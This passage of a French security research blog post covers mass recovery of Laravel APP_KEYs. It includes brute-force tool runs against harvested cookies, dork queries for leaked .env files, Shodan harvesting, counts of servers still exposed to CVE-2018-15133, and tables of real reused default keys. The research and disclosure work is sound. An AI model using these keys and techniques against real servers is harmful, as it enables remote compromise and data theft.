Nous n'avons pas été les premiers à nous intéresser à ce problème, comme le montre Androxgh0st, l'une des attaques les plus récentes qui a exploité une fuite de APP_KEY
, cette attaque a été perpétrée en janvier 2024. Ce logiciel malveillant a été conçu pour scanner Internet à la recherche d'applications Laravel, ciblant spécifiquement les fichiers .env
mal configurés. L'objectif d'Androxgh0st était de voler des données de connexion sensibles dans ces fichiers, ce qui pouvait potentiellement permettre un accès non autorisé à diverses applications.
En cas de récupération réussie des identifiants, Androxgh0st exploite la CVE-2018-15133, qui est similaire à la vulnérabilité décrite affectant Snipe-IT décrite précédemment. Cette vulnérabilité permet aux attaquants d'obtenir une exécution de commandes à distance sans authentification préalable, à condition d'être en possession de l'APP_KEY
de l'application, ce qui peut potentiellement entraîner des fuites de données importantes.
Cependant, la première étape de cette attaque consistait à faire fuir manuellement l'APP_KEY
avant d'exploiter la CVE-2018-15133. Dans la suite de cet article de blog, nous verrons que plusieurs serveurs exposés publiquement sont encore malheureusement encore vulnérables à ce scénario d'exploitation, et que d'autres APP_KEY
de projets exposés publiquement ont déjà fuité.
Comment identifié l'APP_KEY d'une application Laravel
Il existe un moyen, sans authentification préalable, de savoir si un APP_KEY
est valide sur n'importe quelle application Laravel. En effet, sur une installation Laravel par défaut, deux cookies seront toujours définis :
XSRF-TOKEN
: utilisé comme jeton CSRF.laravel-session
: utilisé comme jeton de session pour authentifier la session en cours. Cependant, le préfixe avantsession
peut changer en fonction du nom de l'application.
# curl on a default Laravel installation
$ curl http://localhost/ -I
HTTP/1.1 200 OK
Host: localhost
Connection: close
X-Powered-By: PHP/8.3.22
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache, private
Date: Mon, 23 Jun 2025 12:05:20 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6Ilord3hQZ3hJaUR6bFdvKy9pclZYMmc9PSIsInZhbHVlIjoiSTdBZ2tybVN5a0U4Y1VyVDFoNFhOL0g2aFNSZUY0c2NTZjROd2piQW82NDE5dXFUclFSNUVMS0hvS2k1ZHZpM2hOcUpqeDR0N0lnWHVObHA3VjJ3c2tiNHNoQnMxcHJVYzVOTzg0a1kxNVhhcXZMeHNqOWtWaGgydGZ5d1RTbHYiLCJtYWMiOiIyMDU2YzZkZTU2MmUxZmI3YWNlMjQwZGFiYzIzOGI1M2QxMDIyMGEyYzc3N2RlOTE2NWE4ZGI1YTE2N2RkYmI5IiwidGFnIjoiIn0%3D; expires=Mon, 23 Jun 2025 14:05:20 GMT; Max-Age=7200; path=/; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6Imt3OVJISzJHdGc1ZlE1UFZqWXJZTnc9PSIsInZhbHVlIjoib0JkTkZTTjdVbnNnWWh1aDRnNFM3WFc1eUdlSlovT08rRWNTT3ZsRHdZU1VLSGsxYUhvYTEzVjRQZGtzZFFzOWdVRUJBWU0ybnhITnFXZUd6N1JXanpJaW9YWS9tTDR1TWlIT1ZGaStqVXFUL1hYK1JWMDdSc0VacHlwMjVYTVYiLCJtYWMiOiIxMTg1OGI3MmQ4NjhjMWM2NGYzZGY2MTIyMWM5MjFkYWEyOWRhMWRjMDM3ZmQ4NjM3YWViODM3MDJkMGZhOGI3IiwidGFnIjoiIn0%3D; expires=Mon, 23 Jun 2025 14:05:20 GMT; Max-Age=7200; path=/; httponly; samesite=lax
Par défaut, chaque cookie défini par Laravel est une valeur chiffrée via la fonction encrypt
. Par conséquent, ces valeurs peuvent être utilisées pour forcer la découverte de l'APP_KEY
associée par force brute.
Afin de tester des milliers d'APP_KEY
, nous avons ajouté l'option bruteforce à laravel-crypto-killer
:
$ ./laravel_crypto_killer.py bruteforce -v eyJpdiI6Imt3OVJISzJHdGc1ZlE1UFZqWXJZTnc9PSIsInZhbHVlIjoib0JkTkZTTjdVbnNnWWh1aDRnNFM3WFc1eUdlSlovT08rRWNTT3ZsRHdZU1VLSGsxYUhvYTEzVjRQZGtzZFFzOWdVRUJBWU0ybnhITnFXZUd6N1JXanpJaW9YWS9tTDR1TWlIT1ZGaStqVXFUL1hYK1JWMDdSc0VacHlwMjVYTVYiLCJtYWMiOiIxMTg1OGI3MmQ4NjhjMWM2NGYzZGY2MTIyMWM5MjFkYWEyOWRhMWRjMDM3ZmQ4NjM3YWViODM3MDJkMGZhOGI3IiwidGFnIjoiIn0%3D
[*] The option --key_file was not defined, using files from the folder wordlists...
0%| | 0/1 [00:00<?, ?it/s]
[+] It is your lucky day! A key was identified!
Cipher : eyJpdiI6Imt3OVJISzJHdGc1ZlE1UFZqWXJZTnc9PSIsInZhbHVlIjoib0JkTkZTTjdVbnNnWWh1aDRnNFM3WFc1eUdlSlovT08rRWNTT3ZsRHdZU1VLSGsxYUhvYTEzVjRQZGtzZFFzOWdVRUJBWU0ybnhITnFXZUd6N1JXanpJaW9YWS9tTDR1TWlIT1ZGaStqVXFUL1hYK1JWMDdSc0VacHlwMjVYTVYiLCJtYWMiOiIxMTg1OGI3MmQ4NjhjMWM2NGYzZGY2MTIyMWM5MjFkYWEyOWRhMWRjMDM3ZmQ4NjM3YWViODM3MDJkMGZhOGI3IiwidGFnIjoiIn0%3D
Key : base64:CGhMqYXFMzbOe048WS6a0iG8f6bBcTLVbP36bqqrvuA=
[*] Unciphered value
1beeb01afabf67cf1a1661bb347aa20dd68fff0f|BRrlfYbBn5XQK2vkYAcu7GVSABKSQrskDVjtQmgx
100%|█████████████████████████████████████████████| 1/1 [00:05<00:00, 5.00s/it]
[*] 1 cipher(s) loaded
[+] Found a valid key for 1 cipher(s)!
[-] No serialization pattern matched, probably no way to unserialize from this :(
[+] Results saved in the file results/results.json
Récupération massive des chiffrés Laravel
Afin d'avoir une vue d'ensemble plus large, nous avons cherché un moyen de récupérer autant de chiffres Laravel exposés que possible, pour faire des statistiques et voir comment les APP_KEY
sont réellement gérés.
Comme dit précédemment : sur une installation Laravel par défaut, deux cookies seront toujours définis : XSRF-TOKEN
et laravel-session
.
Ce que nous n'avons pas encore dit, c'est qu'ils seront envoyés par Laravel sur sa route par défaut tant qu'il ne s'agit pas d'une redirection. Ce comportement est fascinant pour deux raisons : nous pouvons facilement avoir une idée du nombre d'instances Laravel en utilisant n'importe quel moteur de recherche cartographiant Internet, mais surtout, ces cookies sont des valeurs chiffrées par Laravel !
Cela signifie que l'on peut utiliser ces cookies comme un chiffre pour tenter de forcer l'APP_KEY
de n'importe quelle application Laravel exposée publiquement. De plus, le nom du cookie XSRF-TOKEN
est immuable et défini par défaut, c'est donc une bonne heuristique pour déterminer si une application est basée sur Laravel.
Après avoir compris cela, nous avons rapidement voulu mettre la main sur cet ensemble de données au meilleur prix possible et avons comparé plusieurs moteurs de recherche comme ZoomEye, Onyphe, Censys (qui semblait avoir l'ensemble de données le plus complet avec 3 000 000 de XSRF-TOKEN
disponibles) et enfin Shodan.
Nous avons finalement choisi Shodan16 car il était de loin le moins cher par rapport aux autres, ce qui a permis de récupérer 1 million d'entrées pour 60 dollars. Nous avons pu extraire et assainir 580 461 chiffrés au total sur 679 866 sites web ayant un XSRF-TOKEN
défini en juillet 2024. Nous avons également pris un autre ensemble de données le 31 mai 2025 contenant 625 059 chiffrés assainis sur 672 481 XSRF-TOKEN
publics.


Récupération massive des APP_KEY
Comme nous l'avons vu, les applications Laravel modernes chiffrent les données en utilisant une combinaison par défaut de AES-256 en mode CBC et un HMAC. De plus, l'APP_KEY
est générée via la fonction random_bytes
17 de PHP function, qui est actuellement considérée comme cryptographiquement sécurisée.
Cela signifie que la valeur de l'APP_KEY
sur une application Laravel ne peut pas être identifiée par une force brute pure. En tant qu'attaquant, on peut espérer que les développeurs aient manuellement écrit une phrase base64
de 40 caractères, ou qu'ils aient encodé une chaîne de 32 caractères, mais cela reste très peu probable (bien que ça soit arrivé dans certains cas !).
Par conséquent, afin de récupérer un grand nombre d'APP_KEY
, nous avons utilisé plusieurs méthodes. Nous avons essayé de les identifier en juillet 2024 en :
- Utilisant des "dorks" GitHub :
github-dorks -q "APP_KEY=base64" -p php
- Utilisant des "dorks" Google :
ext:env intext:APP_ENV= | intext:APP_DEBUG= | intext:APP_KEY=
- Recherchant des
APP_KEY
codées en dur dans la documentation publique de Laravel ou sur des forums publics. - Ou en cherchant dans d'autres projets publics comme BadSecrets19 qui possèdent déjà des listes de mots contenant des
APP_KEY
s.
Même si ces méthodes semblaient assez prometteuses, elles étaient difficiles à automatiser efficacement, et nous n'avons pas été en mesure de récupérer autant de clés : un total de 1171 d'entre elles pour être exact. Il va sans dire que ce résultat était médiocre par rapport aux 679 866 projets Laravel disponibles publiquement identifiés via Shodan.

Après avoir effectué cette première série de tests, nous avons conclu que cette recherche était suffisante en l'état et avons décidé de présenter nos résultats et les vulnérabilités identifiées à GreHack 202420.
Une aide inattendue : discussion avec GitGuardian
Après notre présentation, Mickaël et moi avons profité d'une petite pause. C'est à ce moment-là que nous avons rencontré Guillaume Valadon de GitGuardian, qui était également enthousiaste à l'idée de rechercher des APP_KEY
sur des projets mal configurés.Cela nous a poussés à aller encore plus loin dans la recherche : nous avons entamé une collaboration où nous avons pu améliorer nos résultats en utilisant leurs ensembles de données, GitGuardian a également pu améliré leur service de détection21 ainsi que leur service Public Monitoring qui scanne en continu les dépôts GitHub publics en temps réel pour alerter les organisations lorsque leurs secrets sont accidentellement divulgués22.
Quelques jours plus tard, GitGuardian nous a donné accès à une première liste d'APP_KEY
qu'ils avaient collectées de 2018 au 20 décembre 2024, contenant un nombre impressionnant de 212 540 APP_KEY.
GitGuardian nous ont envoyé un autre ensemble de données par la suite, contenant un total de 267 952 APP_KEY de 2018 au 30 mai 2025.
Nous avions maintenant tout ce qu'il fallait pour améliorer notre analyse. Cependant, nous avons rencontré un dernier problème bloquant : nous avions tellement d'APP_KEY
et de valeurs chiffrées Laravel que laravel-crypto-killer
n'était pas en mesure de traiter autant de secrets et de chiffres. En effet, il fallait déjà plus de 9 heures pour traiter tous les ensembles de données précédents.

Avec ce nouvel ensemble de données, le temps de traitement est passé à plus de deux semaines pour bruteforcer complètement toutes les valeurs chiffrées avec nos centaines de milliers d'APP_KEY
.
Bruteforcer à grande échelle
Notre collègue Damien Picard s'est porté volontaire pour nous aider et s'est rapidement lancé dans l'optimisation du forçage par force brute. Cela a conduit à la création d'un merveilleux nouvel outil : nounours
.
nounours
a tellement optimisé le processus de brute force que nous sommes passés de quelques semaines avec laravel-crypto-killer
à seulement 1 minute et 51 secondes pour bruteforcer l'ensemble des données.
# Example of output generated by nounours
$ nounours --encrypted-file all_tokens-30_05.txt --key-file all_app_keys.txt
Starting cbc bf on 624536 encrypted text with 267810 keys.
eyJpdiI6IllXUWF4dHNNY2k2eEE0cXduU1cxUEE9PSIsInZhbHVlIjoiR0JnWE9vTFoxVjJwbCtLN1F0eXIwSnl4d05RRFpQOXpXSWxFZUNzYkpIVWwwbnkzMk5oc0FGYW9LalJScVUxN2RiejhlOFJFVEp5bmxaYXY3QWtMdk13T3lnY1g3ei9jcnRMV1pPaFlLV091L1l2UGY0ZE5TczhUbmxBTHZXSjIiLCJ0YWciOm51bGx9:91b99c5f00e2f3f29cb872fcb806607643e84180|q2v4Xq3pi0fNUNkSDJTbqw9W2BB36Otb3mdWvYlv:aes-256-cbc:base64:U29tZVJhbmRvbVN0cmluZ1dpdGgzMkNoYXJhY3RlcnM=
eyJpdiI6Ik9kS3pPbjhzQWZYWXVDSzNMS1dhS0E9PSIsInZhbHVlIjoidXFKU09lVlc1azlPbGgraElRYzVVeDJZbVhuTWxjM0tRaWRzemxmQVc0cDFhMVpZSFpRTmNFVytVMjk1RFlsV09OdXA2enBJUFBsTDJ3d25SUnJTZ1E9PSIsInRhZyI6bnVsbH0=:s:40:"BEtS21PQRLgrN8PMNvWU4QUsy8nKu1iJEJRdWB0s";:aes-256-cbc:base64:Szj2KpQhjfDp750FRO0b6lS2+0TscGTaGbgCAvmnRdU=
eyJpdiI6ImNJbE42d05JUElpdlRONkZHaE5CM0E9PSIsInZhbHVlIjoiRHpzMGhCQTQxTURkTkNaRE9rM1JJNENza3BIMllHZUMwZHNuMTdmeXhmcysveFBweWM1NFl6cGFsSFUvdXgyNSIsInRhZyI6bnVsbH0=:RAR3rzmHMkqnP4qkJ4MXlPcHCbriK4ZJpmv4u6bc:aes-256-cbc:base64:W8UqtE9LHZW+gRag78o4BCbN1M0w4HdaIFdLqHJ/9PA=
# Total time of bruteforce on all the dataset
$ time nounours --encrypted-file ../all_tokens-30_05.txt --key-file ../all_app_keys.txt > /dev/null
Starting cbc bf on 624536 encrypted text with 267810 keys.
Starting gcm bf on 58 encrypted text with 267810 keys.
Got through 167272519140 combinations in 110856611881ns
Speed: 1509M try/s
real 1m51.408s
user 28m27.245s
sys 0m0.710s
Pour résumer, Damien s'est concentré sur les domaines d'amélioration suivants :
- Utiliser les allocations le plus précisément possible.
- Utiliser les algorithmes les plus optimisés.
- Utiliser autant d'instructions matérielles que possible.
Cependant, cet outil n'est actuellement pas disponible publiquement.
Analyse des résultats
Maintenant que nous avons minutieusement expliqué chaque outil utilisé, les données, les méthodologies, le raisonnement et la logique impliqués dans la récupération des valeurs chiffrées Laravel et des APP_KEY
pour le brute force, passons à la partie intéressante : ce que nous avons réellement appris d'une attaque par force brute mondiale sur les chiffrés Laravel !
Différences identifiées entre juillet 2024 et juin 2025

-
Toutes les données à gauche sont basées sur la force brute effectuée sur les chiffrés de juillet 2024. L'ensemble de données de GitGuardian a multiplié par 4 le nombre de chiffres déchiffrés avec succès.
-
À partir de ce point, les chiffrés de mai 2025 ont été utilisés.
$ wc -l all_tokens-26_07_2024.txt
580461
$ wc -l all_results-26_07_2024_sorted.txt
23149
3,99 % des clés liées aux instances Laravel publiques de juillet 2024 ont pu être déchiffrées.
$ wc -l all_tokens-30_05.txt
625059
$ wc -l all_results-30_05_2025_sorted.txt
22212
3,56 % des clés liées aux instances Laravel publiques de mai 2025 ont pu être déchiffrées.
Comme nous pouvons le voir, le nombre de chiffres valides a légèrement diminué sur un an. Mais nous avons tout de même pu récupérer 3,56 % des APP_KEY
de tous les projets publics d'Internet, ce qui est assez impressionnant étant donné qu'aucune interaction avec ces serveurs n'a été nécessaire pour obtenir cette information.
Évolution de l'exposition à la CVE-2018-15133
Puisque l'ensemble des données est basé sur le cookie XSRF-TOKEN
, certaines données en clair identifiées sont en fait des données sérialisées PHP. Cela signifie que nous pouvons savoir, même sans envoyer de requête à aucun de ces serveurs, lesquels nous pourrions instantanément compromettre via une exécution de commande à distance en exploitant la CVE-2018-15133.
Nous pouvons savoir si un XSRF-TOKEN
est basé sur des données sérialisées en examinant la manière dont les données chiffrées sont stockées. Si cela commence par s:(int)
, alors il s'agit de données sérialisées PHP.
# Example of patterns matching serialized data in nounours response
eyJp[...]4Rd";:aes-128-cbc:base64:U29tZVJhbmRvbVN0cmluZw==
eyJp[...]x9:s:81:"91b99c5f00e2f3f29cb872fcb806607643e84180|J49tSeWtRRJQs4EXYekwZnNKIa2JifinQnUdbA9z";:aes-256-cbc:base64:U29tZVJhbmRvbVN0cmluZ1dpdGgzMkNoYXJhY3RlcnM=
- Sur l'ensemble de données de juillet 2024, 1326 serveurs exposés pouvaient encore être compromis par la CVE-2018-15133.
- Sur l'ensemble de données de mai 2025, 1091 sont toujours vulnérables à la CVE-2018-15133.
Heureusement, nous pouvons constater qu'en l'espace d'un an, 17,7 % de serveurs en moins ont été détéctés comme vulnérables à cette CVE. Mais d'un autre côté, il reste encore plus d'un millier de serveurs qui sont à une seule requête d'être totalement compromis, et il y a de fortes chances à parier qu'ils le soient déjà.
Analyse du top 10 des APP_KEY
Il reste une dernière question à laquelle répondre à partir de toutes ces données : d'où viennent ces APP_KEY
et pourquoi sont-elles autant réutilisées ?
Position | Number of public servers sharing it | APP_KEY | Description |
---|---|---|---|
🥇 | 561 | W8UqtE9LHZW+gRag78o4BCbN1M0w4HdaIFdLqHJ/9PA= | Clé par défaut du projet UltimatePOS vendu sur CodeCanyon |
🥈 | 491 | SbzM2tzPsCSlpTEdyaju8l9w2C5vmtd4fNAduiLEqng= | Couramment utilisée dans les projets bootstrappés |
🥉 | 415 | otfhCHVghYrivHkzWqQnhnLmz0bZO72lKX7TxfD6msI= | Clé par défaut de XPanel SSH User Management |
4️⃣ | 313 | U29tZVJhbmRvbVN0cmluZ09mMzJDaGFyc0V4YWN0bHk= | Valeur base64 de SomeRandomStringOf32CharsExactly |
5️⃣ | 257 | FBhoCqWGOmuNcUh/3E5cnwB3zNCF4rZ7G19WRW4KVOs= | APP_KEY partagée entre des projets sans rapport |
6️⃣ | 216 | U29tZVJhbmRvbVN0cmluZw== | APP_KEY par défaut sur les anciennes versions de Laravel (valeur base64 de SomeRandomString ) |
7️⃣ | 198 | 1HJ+CWiouSuJODKAgrMxvwxcm2Tg8MjlrqSl/8ViT5E= | Semble liée à plusieurs plateformes de gestion de portefeuilles de cryptomonnaies |
8️⃣ | 195 | EmFb+cmLbacowY1N9P8Y8+PAcRXU7SDU2rxBL1oaVyw= | Clé par défaut de WASender, un expéditeur de messages pour WhatsApp |
9️⃣ | 177 | yPBSs/6cUPg+mwXV00hWJpB8TFk4LT+YduzProk5//Q= | Clé par défaut sur plusieurs projets basés sur l'IA |
🔟 | 155 | ahimIiG674yV4DkPWx6f7t9dkMmTFK2S+0lCPglpVfs= | Clé partagée entre plusieurs projets Laravel aléatoires, il semble qu'ils se copient mutuellement |
11 | 152 | RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno= | Clé par défaut sur Invoice Ninja |
79 | 44 | 3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ= | Clé par défaut sur Snipe-IT |
Position | Number of public servers sharing it | APP_KEY | Description | Position since 2024 |
---|---|---|---|---|
🥇 | 1650 | W8UqtE9LHZW+gRag78o4BCbN1M0w4HdaIFdLqHJ/9PA= | Clé par défaut du projet UltimatePOS vendu sur CodeCanyon | 🟰 |
🥈 | 1132 | xf8woJXKNEFH1rjGffK/GBw2KxjMsxkleON68YnWdaw= | Clé partagée entre plusieurs projets d'une entreprise indonésienne | 🆕 |
🥉 | 518 | U29tZVJhbmRvbVN0cmluZ09mMzJDaGFyc0V4YWN0bHk== | Valeur base64 de SomeRandomStringOf32CharsExactly |
⬆️ |
4️⃣ | 275 | SbzM2tzPsCSlpTEdyaju8l9w2C5vmtd4fNAduiLEqng= | Couramment utilisée dans les projets bootstrappés | ⬇️ |
5️⃣ | 275 | otfhCHVghYrivHkzWqQnhnLmz0bZO72lKX7TxfD6msI= | Clé par défaut de XPanel SSH User Management | ⬇️ |
6️⃣ | 203 | U29tZVJhbmRvbVN0cmluZw== | APP_KEY par défaut sur les anciennes versions de Laravel (valeur base64 de SomeRandomString ) |
🟰 |
7️⃣ | 170 | FBhoCqWGOmuNcUh/3E5cnwB3zNCF4rZ7G19WRW4KVOs= | APP_KEY partagée entre des projets sans rapport |
⬇️ |
8️⃣ | 165 | BlQYTmcfZGV4XShvK5Z+ffNVWv0qszkUTRuEGmQ76lw= | Clé par défaut de Rocket LMS vendu sur CodeCanyon | 🆕 |
9️⃣ | 164 | EmFb+cmLbacowY1N9P8Y8+PAcRXU7SDU2rxBL1oaVyw= | Clé par défaut de WASender, un expéditeur de messages pour WhatsApp | ⬇️ |
🔟 | 157 | hMS5VtciEk3t/0Ije8BCRl+AZOvU2gJanbAw5i/LgIs= | Clé par défaut de Flex Home - Laravel Real Estate Multilingual System disponible sur CodeCanyon | 🆕 |
11 | 153 | 3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ= | Clé par défaut sur Snipe-IT | ⬆️ |
19 | 94 | ahimIiG674yV4DkPWx6f7t9dkMmTFK2S+0lCPglpVfs= | Clé partagée entre plusieurs projets Laravel aléatoires, il semble qu'ils se copient mutuellement | ⬇️ |
24 | 87 | yPBSs/6cUPg+mwXV00hWJpB8TFk4LT+YduzProk5//Q= | Clé par défaut sur plusieurs projets basés sur l'IA | ⬇️ |
26 | 84 | RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno= | Clé par défaut sur Invoice Ninja | ⬇️ |
320 | 11 | 1HJ+CWiouSuJODKAgrMxvwxcm2Tg8MjlrqSl/8ViT5E= | Semble liée à plusieurs plateformes de gestion de portefeuilles de cryptomonnaies | ⬇️ |
Que pouvons-nous en tirer ?
La plupart des APP_KEY
détaillées dans ce top 10 sont des clés par défaut de grands projets, ou sont partagées sur un même projet de développement hébergé sur plusieurs serveurs. L'APP_KEY
n'est pas régénérée par défaut si elle est déjà définie dans un fichier .env
. Par conséquent, si vous la définissez sur un projet que vous vendez à des clients, ils ne la changeront pas tant que tout fonctionnera, même si vous leur dites qu'ils doivent la régénérer dans la documentation officielle.
Les développeurs ont également tendance à réutiliser la même APP_KEY
partout, c'est aussi une erreur courante que nous rencontrons lors de nos audits.
Le nombre d'instances utilisant l'ancienne APP_KEY
par défaut de Laravel (SomeRandomString
) diminue avec le temps, tandis que l'utilisation de la chaîne SomeRandomStringOf32CharsExactly
augmente.
De nombreuses sources de projets commercialisés sont en fait disponibles publiquement, les clients ont tendance à acheter des projets Laravel puis de les publier publiquement sur GitHub.
La plupart des 10 premières APP_KEY
proviennent de projets vendus sur CodeCanyon, cette plateforme semble être utilisée par de nombreux clients à la recherche de projets basés sur Laravel.
Enfin, une statistique déprimante : en 2024, il y avait 44 instances de Snipe-IT exposées publiquement qui pouvaient être compromises via la CVE-2024-48987, que nous avons détaillée plus tôt. De nos jours, en 2025, cela devrait être mieux, non ? Eh bien, le nombre d'instances de Snipe-IT publiques vulnérables est maintenant de 61 ! Bien qu'un correctif et une CVE aient été attribués depuis.
Conclusion
Ce fut un long voyage d'un an de recherche sur la gestion de l'APP_KEY
, c'était un sujet fascinant qui a impliqué plusieurs personnes au fil du temps. Cela a même conduit à une collaboration avec l'équipe de recherche de GitGuardian. merci beaucoup pour votre aide Guillaume et Gaëtan ! Si vous voulez voir quels autres secrets pourraient fuir sur les projets Laravel publiés sur GitHub, vous pouvez également lire leur article de blog.
Cette recherche n'est pas figée dans le temps, elle est toujours d'actualité, des applications Laravel continueront d'apparaître chaque jour en ligne, elle pourrait donc être poursuivie dans le temps tant que les cookies Laravel restent basés sur des données chiffrées de Laravel. L'analyse des résultats sur une période prolongée rend ce sujet encore plus intrigant.
Même s'il peut y avoir quelques remarques provocantes éparpillées dans cet article de blog, cela ne signifie pas que Laravel est un mauvais framework : c'est en fait tout le contraire ! En pratique, il est rare de faire fuir une APP_KEY
sans exploiter une autre vulnérabilité comme une lecture de fichier lors d'un audit. Par défaut, les projets Laravel généreront une toute nouvelle APP_KEY
pour tout nouveau projet. En tant que développeur, votre APP_KEY
est en sécurité tant que vous ne la divulguez pas sur des plateformes comme GitHub ou que vous n'exposez pas d'interface de débogage sur votre application.
La réutilisation de l'APP_KEY
est l'erreur la plus courante identifiée lors de notre recherche : la majorité des APP_KEY
réutilisées se trouvent dans des produits payants basés sur Laravel. Le meilleur conseil que nous puissions donner est de supprimer toute APP_KEY
des produits que vous vendez et de forcer leur génération lors de l'installation.
C'est pourquoi, lorsque vous utilisez un projet basé sur Laravel, votre premier réflexe devrait être de régénérer une nouvelle APP_KEY
avec la commande php artisan key:generate
. Cependant, comme décrit dans cet article, d'autres prérequis sont nécessaires pour compromettre une application Laravel, même lorsqu'un attaquant est en possession de ce secret.
L'environnement Laravel est vraiment vaste et il y a une grande communauté qui travaille à l'améliorer partout dans le monde, donc si vous aimez faire de la recherche sur des projets basés sur PHP, tentez votre chance !
Nous espérons sincèrement que vous avez apprécié cet article de blog, car nous avons déjà prévu de publier d'autres contenus liés à Laravel dans les mois à venir !
- 1. Laravel Usage Statistics on Built With - https://trends.builtwith.com/framework/Laravel
- 2. Laravel documentation regarding encryption - https://laravel.com/docs/12.x/encryption
- 3. Illuminate Encryption project on GitHub - https://github.com/illuminate/encryption/blob/master/Encrypter.php#L104
- 4. PHP Generic Gadget Chains project on GitHub - https://github.com/ambionics/phpggc
- 5. Link to the script test-gc-compatibility.py - https://github.com/ambionics/phpggc/blob/master/test-gc-compatibility.py
- 7. Illuminate decrypt function - https://github.com/illuminate/encryption/blob/master/Encrypter.php#L155
- 8. laravel-crypto-killer project on GitHub - https://github.com/synacktiv/laravel-crypto-killer
- 9. Invoice Ninja GitHub project - https://github.com/invoiceninja/invoiceninja
- 10. CVE-2024-55555 advisory - https://github.com/synacktiv/laravel-crypto-killer
- 11. Snipte-IT sources on GitHub - https://github.com/grokability/snipe-it
- 12. CVE-2024-48987 advisory - https://www.synacktiv.com/advisories/snipe-it-unauthenticated-remote-co…
- 13. Crater Invoice project on GitHub - https://github.com/crater-invoice-inc/crater
- 14. CVE-2024-55556 advisory - https://www.synacktiv.com/advisories/crater-invoice-unauthenticated-rem…
- 16. Search engine scanning internet : Shodan - https://www.shodan.io/
- 17. PHP documentation of the function random_bytes - https://www.php.net/manual/en/function.random-bytes.php
- 19. Project BadSecrets on GitHub - https://github.com/blacklanternsecurity/badsecrets/tree/main
- 20. GreaHack 2024 rebroadcast on YouTube - https://www.youtube.com/watch?v=UMcHWx4speo
- 21. GitGuardian detectors - https://www.gitguardian.com/monitor-internal-repositories-for-secrets
- 22. GitGuardian Public Monitoring service - https://www.gitguardian.com/monitor-public-github-for-secrets